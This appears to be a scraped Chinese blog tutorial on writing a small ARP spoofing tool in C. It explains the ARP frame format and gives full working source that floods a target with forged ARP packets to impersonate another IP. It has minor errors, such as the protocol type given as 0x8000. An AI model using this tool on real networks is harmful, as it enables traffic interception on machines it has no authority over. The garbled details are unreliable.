自制简单ARP欺骗小工具
来源:互联网 发布:手机淘宝appswot分析 编辑:程序博客网 时间:2024/06/12 01:25
在WireShark协议分析的学习过程学习了ARP协议的数据包格式,所以准备自制一个小小的ARP欺骗工具。在制作该工具前需要掌握如下知识:
一、ARP协议内容
ARP(Address Resolution Protocol)协议的基本功能是通过IP地址找到对应的硬件地址,ARP协议的工作过程是(假设A主机(IP:192.168.1.110、MAC:0A:11:22:33:44:01)要和B主机(IP:192.168.1.120、MAC:0A:11:22:33:44:02)进行通信):
1、A主机在自己的ARP缓存中查找是否有B主机的ARP缓存。
2、如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.120的硬件地址,从而将ARP请求帧广播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求。
3、主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。
4、主机B将包含其MAC地址的ARP回复消息直接发送回主机A。
5、当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。本机缓存是有生存期的,生存期结束后,将再次重复上面的过程。主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了。
ARP协议的内容如下:
以太网传输层
- 目标以太网地址:目标MAC地址。ff:ff:ff:ff:ff:ff 为广播地址。
- 源以太网地址:发送方MAC地址。
- 帧类型:以太类型,ARP为0x0806。
以太网报文数据
- 硬件地址类型:如以太网(0x0001)、分组无线网。
- 协议地址类型:如网际协议(0x8000)、IPv6(0x86DD)。
- 硬件地址长度:每种硬件地址的字节长度,一般为6。
- 协议地址长度:每种协议地址的字节长度,一般为4。
- 操作码:1为请求,2为回显。
- 源硬件地址:n个字节,n由硬件地址长度得到,一般为发送方MAC地址。
- 源协议地址:m个字节,m由协议地址长度得到,一般为发送方IP地址。
- 目标硬件地址:n个字节,n由硬件地址长度得到,一般为目标MAC地址。
如下图:
二、获取本机硬件地址
在Linux下获取本机的MAC地址可以使用ioctl函数实现,该函数的声明如下:
#include <sys/ioctl.h>
int ioctl(int d, int request, …);
利用该函数可以获取到一些硬件信息,具体取决于request和其后的变参列表的组合,这里我们使用SIOCGIFHWADDR和struct ifreq该结构体的组合来获取本机的MAC地址。使用方法如下:
ioctl(sock_fd, SIOCGIFHWADDR, ðinfo);
sock_fd是我们实现打开的一个文件描述符,ethinfo是一个struct ifreq类型的变量,函数调用成功之后会将MAC地址存入数组ethinfo.ifr_hwaddr.sa_data中。
三、通过socket直接操作数据链路层数据
Linux下直接通过socket操作数据链路层数据可以 socket创建文件描述符的时候传入SOCK_PACKET参数选项,然后通过sendto和recvfrom系统调用分别向绑定的网卡上发送和接收数据。具体使用见程序。
四、程序实现过程
程序运行时需要指定三个命令行参数,分别是所使用的网卡设备、所要欺骗的目标IP,伪装的IP,如:./my_arpspoof eht0 192.168.1.1 192.168.1.109 表示告诉192.168.1.1我是192.168.1.109。
1、获取本机MAC地址,构建ARP请求包,向所要欺骗的目标IP发送ARP请求包用来获取其MAC地址。
2、构建ARP回应包,填入伪装IP和自己的MAC地址发送给上一步获取的MAC地址。
3、不断循环发送第二步构建的ARP数据包,使得对方主机处于持续接收我虚假ARP回应包的状态。
五、代码实现
/************************************************************************* > File Name: my_arpspoof.c > Author: Jung > Mail: jungzhang@xiyoulinux.org > Created Time: 2016年08月02日 星期二 08时02分14秒 > Description: ************************************************************************/#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/ioctl.h>#include <net/if.h>#include <netinet/in.h>#include <sys/socket.h>#include <arpa/inet.h>#include <net/ethernet.h>#include <unistd.h>//获取本机MAC地址,存入mac数组中,要求传入网卡名字int getMacAddr(unsigned char mac[], const char name[]){ struct ifreq ethinfo; int sock_fd; if (name == NULL || mac == NULL) { return -1; } if ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("Open Socket"); return -1; } strcpy(ethinfo.ifr_name, name); if (ioctl(sock_fd, SIOCGIFHWADDR, ðinfo) < 0) { perror("Ioctl"); return -1; } for (int i = 0; i < 6; ++i) { mac[i] = (unsigned char)ethinfo.ifr_hwaddr.sa_data[i]; } close(sock_fd); return 1;}//构建ARP数据包void packarp(char *mymac, char *tarmac, int *tarip, int *myip, char *opcode, char *arppack){ char eth_type[2] = {0x00,0x01}; //硬件类型,以太网为1 char por_type[2] = {0x08,0x00}; //ARP正在使用的上层协议类型,这里是IP协议 char type[2] = {0x08, 0x06}; //帧类型,0x0806表示ARP char eth_length = 6; //硬件地址长度 char por_length = 4; //协议地址长度,这里指IP协议 memset(arppack, 0, 42); //清空发送缓存区 memcpy(arppack, tarmac, 6); //6个字节表示目标主机的mac地址 memcpy(arppack + 6, mymac, 6); //6个字节表示源主机的mac地址 memcpy(arppack + 12, type, 2); //帧类型,这里表示ARP memcpy(arppack + 14, eth_type, 2); //硬件地址,这里表示以太网 memcpy(arppack + 16, por_type, 2); //ARP正在使用的上层协议 memcpy(arppack + 18, ð_length, 1); //硬件地址长度 memcpy(arppack + 19, &por_length, 1); //协议地址长度 memcpy(arppack + 20, opcode, 2); //标记是ARP还是ARP应答 memcpy(arppack + 22, mymac, 6); //发送者MAC地址 memcpy(arppack + 28, myip, 4); //发送者IP if (!(opcode[0] == 0x00 && opcode[1] == 0x01)) { memcpy(arppack + 32, tarmac, 6); //目标MAC地址 } memcpy(arppack + 38, tarip, 4); //目标IP地址}int main(int argc, char *argv[]){ char mymac[6] = {0}; char tarmac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; char recvarp[42] = {0}; char sendarp[42] = {0}; int tarip; int myip; char opcode[2]; int sock_fd; struct sockaddr addr; if (argc < 4) { return EXIT_FAILURE; } //获取本机MAC地址 if (getMacAddr(mymac, argv[1]) < 0) { printf("获取MAC地址失败\n"); return EXIT_FAILURE; } myip = inet_addr(argv[3]); tarip = inet_addr(argv[2]); opcode[0] = 0x00; opcode[1] = 0x01; packarp(mymac, tarmac, &tarip, &myip, opcode, sendarp); if ((sock_fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0) { perror("Open Socket"); return EXIT_FAILURE; } memset(&addr, 0, sizeof(addr)); strncpy(addr.sa_data, argv[1], sizeof(addr.sa_data)); socklen_t len = sizeof(addr); while(1) { if (sendto(sock_fd, sendarp, 42, 0, &addr, len) == 42) { printf("发送ARP包成功\n"); } else { perror("sendto"); return EXIT_FAILURE; } if (recvfrom(sock_fd, recvarp, 42, 0, &addr, &len) == 42) { if (!memcmp((void *)recvarp + 28, (void *)sendarp + 38, 4)) { memcpy(tarmac, recvarp + 22, 6); printf("获取MAC地址成功\n"); break; } } sleep(1); } opcode[0] = 0x00; opcode[1] = 0x01; packarp(mymac, tarmac, &tarip, &myip, opcode, sendarp); while(1) { if (sendto(sock_fd, sendarp, 42, 0, &addr, len) == 42) { printf("发送ARP欺骗包成功\n"); } else { perror("sendto"); return EXIT_FAILURE; } sleep(1); } close(sock_fd); return EXIT_SUCCESS;}
至此,一个简单的ARP欺骗工具就制作完成了(仅供交流学习使用)。
- 自制简单ARP欺骗小工具
- 自制imp/exp小工具
- 自制的批量文件复制小工具
- 自制StartUp宏病毒专杀小工具
- VB / VBA 自制二维码小工具
- 自制Python函数帮助查询小工具
- 【自制】前端html代码格式化小工具
- 自制【CAN数据解析小工具】
- 一个简单的arp欺骗
- 取证的简单小工具
- 简单文本处理小工具
- ettercap&wireshark简单实现ARP欺骗+监控
- 简单的抵御freebsd下arp欺骗
- 一次短暂arp欺骗的简单实现
- 自制XE2100数据导出Excel的小工具
- 简易爬虫自制之查看CSDN排名的小工具
- 项目中处理压缩文件自制的一个小工具
- ARP 欺骗
- libCurl的编译
- OJ--寻找组成偶数的相差最小的质数
- poj3026Borg Maze(bfs+最短路)
- HDU 5792 树状数组
- 【java设计模式】之 代理(Proxy)模式
- 自制简单ARP欺骗小工具
- ios程序的启动过程
- 37-001 spring学习
- C/C++ 取整函数ceil(),floor()
- hdoj5792World is Exploding
- android当activity加载完成后自动弹出popWindow
- Eclipse总是未响应问题的解决办法
- Anaconda介绍、下载和安装
- 数位dp总结 之 从入门到模板